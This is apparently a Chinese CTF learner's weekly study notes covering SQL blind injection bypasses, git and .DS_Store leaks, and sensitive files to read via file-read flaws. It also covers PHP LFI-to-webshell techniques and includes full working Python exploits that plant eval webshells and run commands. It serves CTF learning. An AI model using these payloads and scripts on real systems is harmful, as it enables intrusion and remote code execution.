1.做的题目
[RootersCTF2019]I_<3_Flask_双层小牛堡的博客-CSDN博客
[NCTF2019]SQLi regexp 盲注-CSDN博客
[网鼎杯 2018]Comment git泄露 / 恢复 二次注入 .DS_Store bash_history文件查看-CSDN博客
PHP LFI 利用临时文件Getshell_双层小牛堡的博客-CSDN博客
[NPUCTF2020]ezinclude 文件包含两大 getshell方式-CSDN博客
Bugku sql注入 基于布尔的SQL盲注 经典题where information过滤-CSDN博客
2.知识点
参数爆破
首先就是对网站进行基本的信息收集 但是备份,扫描,抓包
都没有效果的时候可以进行参数爆破
通过工具 arjun可以爆破
arjun -u url -m GET -c 100 -d 5
这里是通过慢速 来实现爆破 100个一组 延迟时间为 5
SQL正则盲注 regexp
sql题一般我先进行fuzz 然后进行测试注入
这里给出一个知识点
转义符 \ 构造闭合
select * from username = '\' and password = '';
这里的 '\' 可以让 username 绕过 因为我们的注入点是在password上
这里解释一下 转义符这里没有过滤 所以我们可以rang \' 变为'
select * from username = '\' and password = '#'
这个时候 字符串 ' and password 就被外面两个 ' 闭合了
所以我们构造 ||1 就可以变为
'\' and password = '||1#'
这里大家直接去phpmyadmin尝试即可
绕过空格
/**/ 或者 %09
都可以
正则盲注
这里放出了正则和 ^
原理是
假设我的表名为admin
select * from username = '\' and password = ' || password regexp "^a"
后面的 "^a" 是开头为 a 的就返回 true 所以我们可以进行盲注
这里还需要00截断后面的引号
但是我们盲注需要通过python 所以这里也介绍一下python的库
python库
首先是 string
这里我们就不需要指定 37-128
直接通过这个库就可以将可打印的字符输出
然后就是-00截断的库
from urllib import parse
这个库是url编码
a = parse.unquote('%00')
这里就是post的url编码后的00截断
GIT泄露
首先通过扫描可以发现存在git泄露
然后通过工具实现
https://gitcode.net/mirrors/BugScanTeam/GitHack?utm_source=csdn_github_accelerator
然后发现存在的代码是出错的
这里就可以通过 .git文件来恢复数据
GIT数据恢复
首先查看日志
git log -all
然后通过指定就可以恢复成以前的代码
git reset --hard 字符
二次注入的危险函数
addslashes 将输入转变为字符串 原封不动存入数据库
这里的注入闭合 文章里面写的比较详细了 大家去看就可以了
任意文件读取
做这个题的时候 知道任意文件读取是高危 但是确实不知道去看什么比较好
/proc/self/environ
/proc/self/cmdline
/etc/passwd 查看存在的用户
/home/用户/.bash_history 查看该用户的历史命令
.DS_Store泄露
获取内容了 因为 .DS_Store 存在很多不可见字符
所以我们可以通过hex输出 然后通过瑞士军刀 解密 并且作为文件输出
然后通过工具Python-dsstore-master
来解密获取
PHP LFI getshell
这里确实学到了很多东西
这里的前提都是存在文件包含
存在phpinfo()
如果存在phpinfo界面 我们通过对phpinfo不断发送垃圾包 其中的内容中包含着木马
这个时候我们上传的临时文件就会保存在 临时文件目录下
并且通过linux和win的命名规则存储
我们只需要去包含 就会生成木马
这里只需要通过条件竞争即可
#!/usr/bin/python3
import sys
import threading
import socket
def setup(host, port):
TAG = "安全测试"
PAYLOAD = """%s\r
<?php file_put_contents('/tmp/shell', '<?=eval($_REQUEST[1])?>')?>\r""" % TAG
REQ1_DATA = """-----------------------------7dbff1ded0714\r
Content-Disposition: form-data; name="dummyname"; filename="test.txt"\r
Content-Type: text/plain\r
\r
%s
-----------------------------7dbff1ded0714--\r""" % PAYLOAD
padding = "A" * 5000
REQ1 = """POST /phpinfo.php?a=""" + padding + """ HTTP/1.1\r
Cookie: PHPSESSID=q249llvfromc1or39t6tvnun42; othercookie=""" + padding + """\r
HTTP_ACCEPT: """ + padding + """\r
HTTP_USER_AGENT: """ + padding + """\r
HTTP_ACCEPT_LANGUAGE: """ + padding + """\r
HTTP_PRAGMA: """ + padding + """\r
Content-Type: multipart/form-data; boundary=---------------------------7dbff1ded0714\r
Content-Length: %s\r
Host: %s\r
\r
%s""" % (len(REQ1_DATA), host, REQ1_DATA)
# modify this to suit the LFI script
LFIREQ = """GET /lfi.php?file=%s HTTP/1.1\r
User-Agent: Mozilla/4.0\r
Proxy-Connection: Keep-Alive\r
Host: %s\r
\r
\r
"""
return (REQ1, TAG, LFIREQ)
def phpInfoLFI(host, port, phpinforeq, offset, lfireq, tag):
s = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
s2 = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
s.connect((host, port))
s2.connect((host, port))
s.send(phpinforeq.encode())
d = b""
while len(d) < offset:
d += s.recv(offset)
try:
i = d.index(b"[tmp_name] => ")
fn = d[i + 17:i + 31]
except ValueError:
return None
s2.send((lfireq % (fn.decode(), host)).encode())
d = s2.recv(4096)
s.close()
s2.close()
if d.find(tag.encode()) != -1:
return fn.decode()
counter = 0
class ThreadWorker(threading.Thread):
def __init__(self, e, l, m, *args):
threading.Thread.__init__(self)
self.event = e
self.lock = l
self.maxattempts = m
self.args = args
def run(self):
global counter
while not self.event.is_set():
with self.lock:
if counter >= self.maxattempts:
return
counter += 1
try:
x = phpInfoLFI(*self.args)
if self.event.is_set():
break
if x:
print("\n成功!Shell已创建在 /tmp/shell")
self.event.set()
except socket.error:
return
def getOffset(host, port, phpinforeq):
"""获取php输出中tmp_name的偏移量"""
s = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
s.connect((host, port))
s.send(phpinforeq.encode())
d = b""
while True:
i = s.recv(4096)
d += i
if i == b"":
break
# detect the final chunk
if i.endswith(b"0\r\n\r\n"):
break
s.close()
i = d.find(b"[tmp_name] => ")
if i == -1:
raise ValueError("在phpinfo输出中未找到php tmp_name")
print("在位置 %i 找到 %s" % (i, d[i:i + 10].decode()))
# 加一些填充
return i + 256
def main():
print("LFI With PHPInfo()")
print("-=" * 30)
if len(sys.argv) < 2:
print("用法:%s 主机 [端口] [线程数]" % sys.argv[0])
sys.exit(1)
try:
host = socket.gethostbyname(sys.argv[1])
except socket.error as e:
print("主机名 %s 无效,请确保输入正确的主机名或IP地址。" % sys.argv[1])
host = socket.gethostbyname(sys.argv[1])
except socket.error as e:
print("主机名 %s 无效,请确保输入正确的主机名或IP地址。" % sys.argv[1])
sys.exit(1)
port = int(sys.argv[2]) if len(sys.argv) > 2 else 80
numthreads = int(sys.argv[3]) if len(sys.argv) > 3 else 10
phpinforeq, tag, lfireq = setup(host, port)
offset = getOffset(host, port, phpinforeq)
print("\n[*] 开始进行LFI攻击...")
threads = []
e = threading.Event()
l = threading.Lock()
try:
for i in range(numthreads):
t = ThreadWorker(e, l, 100, host, port, phpinforeq, offset, lfireq, tag)
threads.append(t)
t.start()
while not e.is_set():
try:
e.wait(1)
except KeyboardInterrupt:
print("\n[*] 收到中断信号,正在停止攻击...")
e.set()
except socket.error as e:
print("连接错误:%s" % str(e))
for t in threads:
t.join()
print("\n[*] 攻击结束。")
if __name__ == "__main__":
main()
大家还是读读上面代码 也能学到内容
PHP7 Segment Falut
首先是 php7 的一个漏洞
通过特定伪协议包含文件会发生段错误 这个时候上传的文件会保存在临时文件下 并且不会被删除
php://filter/sring.strip_tags
存在dir类型的页面
我们只需要去包含里面的漏洞文件即可
不存在dir类型页面
通过爆破实现即可
下面是存在dir页面的时候的脚本
# -*- coding: utf-8 -*-
import re
import requests
from io import BytesIO
# 定义漏洞URL和文件路径
vul_url = "http://localhost/index.php?file=php://filter/string.strip_tags/resource=C:/Windows/win.ini"
url2 = "http://localhost/dir.php"
# 构建文件
files = {'file': BytesIO('<?php eval($_REQUEST[1]);?>')}
# 发送漏洞利用请求
req = requests.post(url=vul_url, files=files, allow_redirects=False)
req2 = requests.get(url=url2)
# 获取临时文件名
content1 = re.search(r"php[a-zA-Z0-9]{1,}.tmp", req2.content).group(0)
# 构建获取目录列表的URL
url3 = "http://localhost/index.php?file=C:/Windows/{}".format(content1)
# 构建命令
data = {
1: "system('dir');"
}
# 发送获取目录列表的请求
req3 = requests.post(url=url3, data=data)
# 输出结果
print u"目录列表:\n{}".format(req3.text)
SESSION LIF getshell
HAVE SESSION
一样 需要存在文件包含漏洞
这里是通过session 用户会话getshell
首先我们发送存在session的包的时候 会在session存储位置保存着session文件
取名是为 sess_输入
Cookie: PHPSESSID=输入
一般处理会话 要么是通过 原始输入 要么就是通过序列化输入
如果不对用户会话文件进行处理 那么我们只需要写入一句话即可
如果对用户会话进行base64加密 那么我们只需要 构造 4个字符一组的方式 解密即可
记住要过滤掉特殊字符
NO SESSION
当session没有开启的时候
我们可以通过php的特性 文件上传的时候
传递
session.upload_progress.name:<?php phpinfo();?>
这个内容是可控的 并且原本文件上传就存在 如果还发送一次 就开启session 并且存入临时文件
这里的流程图为
文件上传 --->设置session -----> 传递session.upload_progress.name 造成session开启 存入内容
这里去看原本的文章更加详细
SQL过滤许多的盲注
这道题确实过滤了巨多东西
这里的知识点
方法一
select substr('flag',1)---->flag
select substr('flag',2)---->lag
然后我们只需要两次substr 并且倒装输出即可
select reverse(substr('flag',1)) ---->galf
select substr(reverse(substr('flag',1)),4)----->f
select substr(reverse(substr('flag',1)),3)----->fl
然后盲注过滤了 = 号 我们可以通过 <> 不等号实现
1 <> 1 返回false
1 <> 2 返回 true
因为过滤了查询列名和表名的系统库 所以这里直接通过 字典爆破即可
方法二
通过 减去 来实现
a'or((ascii(substr((select(password))from(1)))-48))--
这里也是因为 过滤了 = 号
这里也推荐大家去看上面文章 写的详细 这里只是简单的记录
3.不足
这些题 混在一起 我就有点没想到 git那种题目的确实很简单 但是确实也是没有想到
4.下一周计划
专心准备比赛